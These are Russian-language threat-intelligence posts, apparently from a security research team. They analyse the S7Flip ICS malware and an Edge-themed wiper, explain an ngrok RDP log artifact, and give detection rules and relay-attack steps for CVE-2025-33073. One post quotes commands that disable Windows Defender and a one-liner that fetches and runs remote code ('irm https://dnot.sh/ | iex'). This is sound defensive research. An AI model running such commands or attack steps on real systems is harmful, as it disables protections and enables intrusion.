e014dadf6d93b312b93e2fc857791c241692da4015da7a24a4d42a946551add2

Наше внимание привлекло сообщение от аккаунта, с которого залили данный сэмпл:

Хм, ICS-вредонос, причем уже с готовым названием S7Flip (то есть нам даже не нужно напрягать свою фантазию, чтобы назвать его)? Звучит интересно! Давайте взглянем, что там внутри.

После закрепления в автозапуске под названием aphp.exe сэмпл начинает собирать адреса устройств в локальной сети — это адреса 192.168.*.*, 10.*.*.* и 172.*.*.*, после чего проверяет на них наличие определенных открытых портов, которые широко используются промышленными устройствами:

• 102 — в основном используют контроллеры Siemens для взаимодействия по протоколу S7Comm или S7Comm+.
• 502 — стандартный порт протокола Modbus TCP; его могут использовать устройства любых производителей.
• 44818 — в основном используют контроллеры Allen-Bradley (Rockwell) для взаимодействия по протоколу EtherNet/IP (CIP).

Подключение к устройствам Allen-Bradley (Rockwell) фактически не работает. Реализация клиента для EtherNet/IP (CIP) отсутствует: ветка переиспользует Siemens-клиент и пытается подключиться по порту 102 как к контроллеру Siemens. С настоящим Allen-Bradley соединение не установится — воздействие на устройства, открывшие только порт 44818, не оказывается вовсе.

Определив нужные устройства, S7Flip подключается к ним и начинает применять один из деструктивных механизмов (или сразу оба).

Механизм 1: «randomize» значений

По S7Comm (порт 102): по очереди обходит блоки DB 1–10; для каждого выбирает случайное смещение 0–99, читает оттуда 4-байтовое целое, прибавляет случайное целое число от −10 до +10 и записывает обратно.

По Modbus TCP (порт 502): выбирает 16-битный holding-регистр по случайному адресу 0–99, читает текущее значение, прибавляет случайное целое число от −10 до +10 и записывает обратно.

Механизм 2: инверсия битов (findAndModifyInputs)

По S7Comm (порт 102): последовательно проходит первые 100 байтов в блоках DB 1–10: читает байт, меняет его младший бит на противоположный и записывает обратно.

По Modbus TCP (порт 502): последовательно проходит однобитовые ячейки записи (coils — дискретные выводы, команды, флаги) в диапазоне 0–255: читает бит, меняет на противоположный и записывает обратно.

Каждое изменение пишется в logs.csv рядом с исполняемым файлом и содержит пять колонок — время, тег, вендор, старое и новое значение.

Помимо данного бинаря, мы также нашли еще один:

88717716e54b35682a28d673764975d439a31ee194c85dfc619a15ea93ab1280

По логике работы он ничем не отличается от рассмотренного ранее образца. Главное отличие заключается в том, что библиотека libmodbus, реализующая работу протокола Modbus, в e014dadf6d93b312b93e2fc857791c241692da4015da7a24a4d42a946551add2 динамически слинкована, а в 88717716e54b35682a28d673764975d439a31ee194c85dfc619a15ea93ab1280 — статически.

В этот же день с этого же аккаунта jeans, помимо e014dadf6d93b312b93e2fc857791c241692da4015da7a24a4d42a946551add2 (название файла — Edge.exe), был залит еще один бинарь:

2c57c1a39933514c63b5a7b585f5948ead04b65e4df96fb595ccda84208c4aa0

При ближайшем рассмотрении он оказался вайпером. При запуске он по-джентльменски спрашивает, не хотите ли вы установить Microsoft Edge:

И если вы отказываетесь, то вайпер прекращает свою работу 😅

Но вот если вы соглашаетесь… то будьте готовы к «непредвиденным обстоятельствам». Вот их список:

• рекурсивное удаление всего содержимого папки %USERPROFILE%\Desktop;
• там же будет создан файл compiled-desktop, который будет содержать ровно 1 048 576 случайных байт;
• ну и, разумеется, файл README.txt с вежливой просьбой перевести биткоины в размере 100 долларов.

После всего этого вредонос добавляет себя в автозапуск.

Расшифровка файлов не предусмотрена: содержимое рабочего стола нигде не сохраняется. Это псевдовымогатель-вайпер.

Самое интересное, что в README.txt указан кошелек, на который злоумышленники предлагают переслать деньги: bc1qp6ejw8ptj9l9pkscmlf8fhhkrrjeawgpyjvtq8 — это официальный кошелек для донатов проекта Bitcoin.org. Т. е. жулики на самом деле не хотят выкупа? Хм, интересно… 🤑

Чуть позже jeans залил еще один вариант данного инструмента — f47502628708300840efe2771a3c5e7e9a631205512f0a2ee6382a00a92056e2, причем на этот раз файл называется не Edge.exe, а Edgev5.exe.

Обозначает ли v5 какое-то развитие или дальнейшее улучшение вредоноса? Да, в новой версии автор добавил симметричное шифрование файлов с помощью AES-256-GCM, а также расширил количество папок для шифрования: теперь помимо Desktop шифрованию подлежат Downloads и Documents. Правда, есть один нюанс… ключ для расшифрования данных находится в файле master_key.dat, да и биткоин-кошелек такой же, как и в более ранней версии вайпера.

По всей видимости, автор вредоноса активно развивает и тестирует свой инструмент. Возможно, в будущем он начнет активно применять его в «боевом» виде.

А какая связь между S7Flip и вайперами? 🧐

В ходе чтения данного поста у вас, возможно, возник вопрос: «а как связаны S7Flip и вайпер между собой?» И на самом деле определенные совпадения есть:

• все бинари были собраны с помощью тулчейна GCC 16.2.0;
• timestamp сборки PE-файлов 88717716e54b35682a28d673769475d439a31ee194c85dfc619a15ea93ab1280 (S7Flip) и 2c57c1a39933514c63b5a7b585f5948ead04b65e4df96fb595ccda84208c4aa0 (Edge.exe) совпадает с точностью до дня — 2026-09-13;
• общий аккаунт, с которого файлы были залиты на MalwareBazaar, — jeans.

Достаточно ли этих данных, чтобы утверждать, что S7Flip и вайперы разработаны одним и тем же автором? Нет, определенные сомнения все равно остаются, но некоторая взаимосвязь все же есть.

IoCs

#malware #win #ioc
@ptescalator

В ходе расследования инцидентов мы в PT ESC IR регулярно сталкиваемся с необходимостью анализа баз данных в формате ESE (Extensible Storage Engine), поскольку в подобных артефактах можно найти много интересного.

Чтобы эффективнее работать с такими файлами, важно понимать, как этот формат устроен изнутри. Поэтому по итогам исследования мы подготовили подробный разбор внутреннего устройства ESE (также известного как Jet Blue) — встроенной СУБД от Microsoft, которая используется во многих продуктах компании.

В статье рассказываем, как на низком уровне организовано хранение данных, как устроены страницы и записи, а также разбираем особенности реализации движка, которые могут быть полезны при анализе содержимого БД и разработке собственных парсеров для работы с такими файлами.

🫱 Подробности — на Хабре.

#ir #dfir #win #tip
@ptescalator

Известно, что в ходе атак злоумышленники могут использовать туннелирование. Например, прокинуть обратный туннель со взломанного Windows-хоста в глубине сети организации, чтобы с его помощью легко подключиться интерактивно по RDP к этому же хосту.

Методы выявления такой активности также известны. Например, стоит обязательно обращать внимание на наличие в логах IP-адресов 127.0.0.1 или ::1 в качестве источника — именно с таких адресов в пределах атакованной системы могут устанавливаться подключения к целевым сервисам.

😳 Много лет специалисты, расследовавшие взломы, отмечали и описывали в отчетах, что когда в подобных атаках для туннеля использовался ngrok, при подключении по RDP в логах вместо IP-адреса источника заносилось странное значение — ::%16777216.

С одной стороны, это отличный артефакт, который легко искать: он вряд ли встречается в нормальной активности и поэтому его наличие служит хорошим и довольно точным индикатором атаки.

Но, с другой стороны, нигде не было понятного объяснения, что это за «магическое число», почему именно оно возникает в логах и всегда ли это признак использования именно ngrok.

😎 Мы решили разобраться, и нам удалось получить ответы:

🔴 ::%16777216 появляется в логах в событии 1149 (а еще 4778 и 4779) вместо IP-адреса ::1 в результате ошибки в Windows.

🔴 Ошибка не связана с наличием какой-либо уязвимости, а вызвана несогласованной интерпретацией данных в памяти разными модулями протокола RDP

🔴 Ошибка возникает не только с адресом ::1, но и в любом другом случае, когда происходит подключение к RDP с использованием протокола IPv6 (например, вместо адреса fe80::6e1d:980d:9401:719b вы увидите в логах строку 0:0:fe80::6e1d:980d%2607874452)

🔴 Проблема чаще всего связывалась с утилитой ngrok, так как в ходе туннелирования она создает подключение на узле с использованием IPv6 по умолчанию, в отличие от многих других утилит, которые используют IPv4.

🔴 Адрес в логах «портится» не безвозвратно, его можно восстановить:

1. Взять значение из лога: 0:0:fe80::6e1d:980d%2607874452

2. Часть после % перевести в HEX: 2607874452 dec = 9b710194 hex

3. Убрать слева два нуля, дописать справа полученные цифры с учетом обратного порядка байт: fe80::6e1d:980d:9401:719b

Ошибка существовала как минимум начиная с Windows Server 2012 R2 во всех версиях Windows. В начале лета 2025 года мы направили информацию об этом в Microsoft, и результаты недавних тестов показывают, что в актуальных версиях (с майскими обновлениями 2026 года) ошибка была исправлена (ответа о факте исправления мы не получили).

А о нюансах исследования, интересных подробностях представления IP-адресов и подходах к проведению экспериментов, которые помогли найти объяснение, автор рассказал в докладе на прошедшей в мае конференции ËPRSTCON — запись доклада, презентацию и расшифровку ищите на сайте конференции.

И что же теперь делать? 😨

1️⃣ В старых версиях Windows, которые уже не получают обновлений, продолжать обращать внимание на ::%16777216 в логах.

2️⃣ В актуальных версиях Windows, где, возможно, были установлены обновления, дополнительно проверять на наличие ::1 там, где такого адреса не должно быть в норме.

3️⃣ Учитывайте, что есть множество различных утилит для создания туннелей, и подобный индикатор никак не подтверждает использование именно ngrok.

0️⃣ По желанию — доработайте свой парсинг логов так, чтобы восстанавливать нормальный IP-адрес: это поможет учитывать адрес в корреляционных правилах и получать больше релевантных результатов при ретроспективном поиске событий или тредхантинге.

P.S.: и не забывайте обращать внимание на появление 127.0.0.1 в неподходящих местах.

P.P.S.: и не только 127.0.0.1, а любого адреса из сети 127.0.0.0/8: все эти адреса соответствуют интерфейсу localhost согласно RFC5735, и это работает во всех популярных ОС. Использовать как источник адрес типа 127.0.13.37 у злоумышленника вряд ли легко получится, а вот указывать в качестве назначения подобные адреса для подключения к процессам на локальном хосте — вполне.

#tip #win
@ptescalator

Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableBlockAtFirstSeen $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableScriptScanning $true
Add-MpPreference -ExclusionPath 'C:\ProgramData'
Add-MpPreference -ExclusionPath $env:USERPROFILE'\Downloads'

reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d 0 /f
reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f

#Директория по умолчанию
C:\Prorgam Files\defendnot\

#Скачивание и запуск Defendnot
irm https://dnot.sh/ | iex

#Запуск Defendnot в скрытном режиме и добавление задачи в автозагрузку из-под текущего пользователя
"C:\Program Files\defendnot\defendnot-loader.exe" --silent --autorun-as-user

Defendnot
dnot.sh 
734d301654affee77396b554ccb04e0e
752e74a143212b9779aa98ec6f736bac

C2 XWorm
tcp.cloudpub.ru:56409
fair-equation.gl.at.ply.gg:57489

lnk-файлы
aebad92d84ae4f4b64748bc94798d401
abd0364a25d1e7ee2bc9320c74e125fc

powershell-файлы
087dbfed9667fb870af265aed35f82e3
ef7b11685c154e54deaf5c26f6d8ea59
85a98d0f58cf08cb7206286b51312661

vbs\vbe-файлы
0bbccecdd13c7b9c4af3273b1ae8e133
ebcb3e0d61ed5774d4e336f5e96ee9b4 
9c5a00fe40783497752bcfbd75937fa7
3ec80f2d06dd8f6a8e60d0e8753255e7  

xWorm
48bed9e98053e1e3ce0d4fb21fda2804 
cab6f558f996db5a80e2a3bd5d443154 
82294c916ba0ab95382509f51724716a 
092712dc61fce5ef0ad0ddebb90059be

irm https://dnot.sh/ | iex

He may not, as unvalued persons do, Carve for himself (W. Shakespeare)

При расследовании в инфраструктуре, подвергшейся шифрованию, регулярно возникает необходимость извлечения данных из образов дисков, где файловая система существенно повреждена.

В таких случаях извлечь данные MFT, логи ОС или юзерские артефакты в состоянии, пригодном для обработки классическими инструментами, возможно далеко не всегда. Это порождает необходимость применения карвинга — восстановления или реконструкции поврежденных файлов. В ряде случаев доступные коммерческие инструменты, реализующие данную технику, дают неплохие результаты, но в целом имеют достаточно ограниченную область применения.

В случае карвинга событий журналов ОС Windows хорошо зарекомендовала себя техника «забудь про BinXML»: для полноценного декодирования содержимого полей единичного события необходимы шаблоны, хранящиеся в заголовке чанка, который по понятным причинам может просто отсутствовать. Не пытаясь даже искать такие шаблоны, можно составить текстовое описание единичного события, где однозначно выделяются даты, хранимые в стандартных расположениях, коды событий и несколько других служебных полей, а также декодируемые «как текст» (с вырезанием служебных последовательностей BinXML) байтовые последовательности, содержащие данные для подстановки в шаблоны.

В итоге подобная техника позволяет получить существенно больше данных, нежели при попытке восстановления чанков EVTX: имея дату, код события EventID и тип журнала, хранимый в виде текста, можно понять, о чем идет речь (скриншот 1).

Схожий подход может применяться и для «живых» систем, где атакующие предприняли попытку удаления данных с целью сокрытия следов своих перемещений.

🔎 Для поиска остаточных данных таблицы MFT, помимо восстановления единичных записей стандартного формата, в ряде случаев хорошо работает техника поиска единичных атрибутов: как правило, ценность представляют атрибуты типа 0x30, то есть $FILE_NAME, содержащие четыре метки времени, имя файла и его размер (скриншот 2). В отдельных случаях такие единичные атрибуты даже для «живой» системы позволяют обнаружить, например, в файле подкачки (pagefile.sys) следы присутствия вредоносных файлов, отсутствующие в других артефактах. Подобные результаты также возможно получить с помощью поиска USN-записей, содержащих одну метку времени и имя файла, с которым производились какие-либо операции ФС (скриншот 3).

💽 Для поиска исполняемых файлов в образе диска хорошо работает тактика поиска заголовка PE с последующей оценкой размера файла по совокупному размеру секций. При небольшом усложнении алгоритма возможно реализовать более точный подход: определение энтропии конечных фрагментов файла с последовательным уменьшением размера фрагмента до момента перехода эмпирически определенного порогового значения «снизу вверх» при соблюдении паддинга в ряде случаев позволяет получить исполняемые файлы с совпадением по хешу. Однако даже «вырубленные топором» исполняемые файлы ВПО или их фрагменты прекрасно детектируются с помощью YARA-правил (скриншоты 4, 5).

📁 Для восстановления файлов реестра возможно использование поиска по заголовку с определением размера файла по полю HiveBinsDataSize: данное приближение в ряде случаев позволяет получить набор файлов, пригодных для обработки классическими инструментами. Характерной особенностью в данном случае является наличие в заголовке даты модификации и типа файла (primary/log), а также имени файла в UTF-16 размером 64 байта. Несмотря на то что для некоторых потенциально интересных с точки зрения форензики файлов (UsrClass.dat) структура пути не позволяет определить с достаточной точностью исходное размещение файла, для большинства случаев имеющейся информации вполне достаточно.

Наконец, прекрасно зарекомендовала себя техника поиска в образе диска читаемых текстовых фрагментов, ассоциируемых с выявленным инструментарием атакующих: в ряде случаев она позволяет восстановить командлайны и логи использованных инструментов, включая пароли, имена УЗ и подобные «приятные мелочи» (скриншот 6).

#yara #dfir #ir #windows
@ptescalator

rule MSADDShell {
    strings:
        $v1 = "net_handlerDelOutDataNet"
        $v2 = "P_OutputDataReceived"
        $v3 = "add_OutputDataReceived"
        $v4 = "SendDataFwd"
        $v5 = "OnhandlerDelFwfPx"
        $v6 = "OnhandlerDelOutDataNet"
        $v7 = "msadds.exe" wide
    condition:
        uint16(0) == 0x5A4D and 5 of ($v*) and filesize < 100KB
}

weggli -R "$func=RtlCopyMemory|memmove|memcpy" "_ $v; $func(&$v,_,_)"

weggli.exe -R "$func=RtlCopyMemory|memmove|memcpy" "_ $v; $func(&$v,_,_(_-_))"

weggli -R "$func=RtlCopyMemory|memmove|memcpy" "_ $v; $func(&$v,_,_($a->$b))

1️⃣ Отслеживать DNS-запросы с Marshalled-суффиксом

В атаках Reflection Relay злоумышленник вынуждает службы выполнять DNS-запросы к поддельным именам с паттерном 1UWhRCA + 37–45 символов Base64. Записи вида srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.example.com или localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.example.com — индикаторы попытки Reflection Relay (NTLM, Kerberos).

• Что мониторить

Все DNS-запросы, где имя узла заканчивается на marshalled-часть (1UWhRCA + 37-45 символов Base64).

• События

Sysmon Event ID 22 (DNS-запросы на узлах).

События DNS-серверов, содержащие такие запросы.

2️⃣ Ловить LDAP-поиск с marshalled-суффиксом

Reflection Relay вызывает LDAP-запросы от атакуемого узла к контроллеру домена, в которых параметр name= содержит поддельное DNS-имя формата [имя_узла]1UWhRCA[Base64]. Это происходит при выполнении Relay-атаки обратно на жертву.

• Что мониторить:

Запросы LDAP, в которых параметр name= содержит конструкцию:
"[имя_хоста]1UWhRCA[символы Base64]"

• События:

Windows Security Event 1644 ("A search was performed in Active Directory") на контроллерах домена.

3️⃣ Знать механику CVE-2025-33073 и Coerce-атаки

Как работает уязвимость:

• Coerce-атаки (PetitPotam, PrinterBug) вынуждают жертву подключиться к поддельному DNS-имени.
• Windows ошибочно считает запрос локальным из-за marshalled-суффикса, отключая проверки NTLM и Kerberos.
• Это позволяет атакующему выполнить Relay сессии обратно на жертву для получения RCE с правами SYSTEM.

Примеры Coerce-атак:

• PetitPotam: принуждение через уязвимость в EFS RPC, заставляющее LSASS инициировать аутентификацию;
• PrinterBug: принудительная отправка NTLM-хешей через уязвимость в службе печати Windows (MS-RPRN).

4️⃣ Опираться на примеры сработавших правил корреляции

При реализации CVE-2025-33073 совместно с PetitPotam для дампа учетных данных сработали следующие правила корреляции:

• Coerce_Auth: правило обнаруживает Coerce-атаки на узел с целью перехвата хеша машинной учетной записи атакованного узла, а также пытается определить по названию используемого пайпа, какая техника атаки используется (netdfs = DFSCoerce; spoolss = PrinterBug; fssagentrpc = ShadowCoerce; efsrpc, lsarpc, samr, lsass, netlogon = PetitPotam; msftewds = WSPCoerce) и какой инструмент применяется.

• SVCCTL_Connection: правило обнаруживает подключение к именованному каналу svcctl, который ответственен за удаленное конфигурирование служб Windows на узлах через Service Control Manager, что может привести к выполнению произвольного кода;

• Remote_Password_Dump: правило обнаруживает удаленный дамп паролей через обращение к именованному каналу WINREG.

5️⃣ Использовать примеры SIGMA-правил

Если у вас нет MaxPatrol SIEM, то вот вам пример простых SIGMA-правил:

Для Sysmon Event ID 22.

Для Windows Security Event 1644.

6️⃣ Использовать наши публичные Suricata-сигнатуры для обнаружения этой атаки

#detect #cve #win #sigma #rules
@ptescalator

• Учетная запись в домене с самыми рядовыми привилегиями.
• На атакуемом устройстве не настроено принудительное требование подписи SMB.
• На атакуемом устройстве не стоит патч, устраняющий уязвимость CVE-2025-33073, который был выпущен в июне 2025 года.

И дополнительно одно из двух:

• Либо возможность регистрации DNS-записи в домене (по умолчанию могут все пользователи домена).
• Либо нахождение в одной широковещательной сети с атакуемым устройством (проведение атаки NBNS, LLMNR и mDNS-спуфинга).

Рассмотрим два варианта эксплуатации с дампом локальных учетных данных из SAM и SECURITY.

1️⃣ Первый вариант с DNS-записью (скриншот 1):

1. Атакующий регистрирует DNS-запись формата localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

2. Атакующий выполняет Coerce-атаку на устройство без SMB Signing.

3. Устройство разрешает имя по DNS, в котором получает IP-адрес атакующего.

4. Устройство проходит аутентификацию на сервере атакующего.

5. Атакующий выполняет Relay-атаку на это же устройство, получает аутентифицированную сессию с правами SYSTEM.

2️⃣ Второй вариант со спуфингом (скриншот 2):

1. Атакующий запускает спуфинг с ответом на имя хоста localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

2. Атакующий выполняет Coerce-атаку на устройство в локальной сети.

3. Устройство пытается разрешить имя по DNS, не находит его и переходит к многоадресным протоколам.

4. Атакующий сообщает устройству, что имя принадлежит ему.

5. Устройство проходит аутентификацию на сервере атакующего.

6. Атакующий выполняет Relay-атаку на это же устройство, получает аутентифицированную сессию с правами SYSTEM.

Вместо вывода хочется подчеркнуть, что эта уязвимость стала результатом многолетних исследований нескольких специалистов и, вероятно, кем-то она могла быть обнаружена и использована ранее. Никто не знает, сколько еще таких уязвимостей будет обнаружено. Но в этом случае, как и в большинстве других, применив лучшие практики по защите заранее, можно избежать серьезных последствий при появлении подобных уязвимостей даже без установки обновления.

Рекомендации по защите от уязвимости:

• Установите обновления безопасности от 10 июня 2025 года.

• Настройте принудительное требование подписи SMB для SMB-служб контроллеров и рабочих станций.

В следующих постах расскажем, как детектить уязвимость 😉

#cve #win #offensive
@ptescalator